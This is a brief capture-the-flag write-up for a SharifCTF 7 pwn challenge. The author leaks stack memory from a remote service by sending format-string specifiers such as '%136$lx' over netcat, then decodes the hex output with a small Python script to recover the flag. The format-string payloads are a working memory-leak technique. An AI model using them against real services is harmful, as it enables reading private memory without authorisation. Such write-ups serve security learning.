SharifCTF 7 pwn-50 (Guess)

In this challenge binary was not given and you are supposed connect and guess through net cat connection.

I was just brute-forcing and from the offset 135 i started getting flag

%136$lx
5443666972616853
Hidden string is at somewhere.
%137$lx
3832346435617b46
Hidden string is at somewhere.
%138$lx
Hidden string is at somewhere.
6237636363323336
%139$lx
Hidden string is at somewhere.
6136633735336466
%140$lx
Hidden string is at somewhere.
3561383761383231
%141$lx
Hidden string is at somewhere.
7fc7007d6338

You will get flag through this script

>>> a = ["5443666972616853","3832346435617b46","6237636363323336","6136633735336466","3561383761383231","7fc7007d6338"]
>>> for i in range(1,7):
...   b = a[i].decode('hex')
...   print b[::-1]
... 
F{a5d428
632ccc7b
fd357c6a
128a78a5
8c}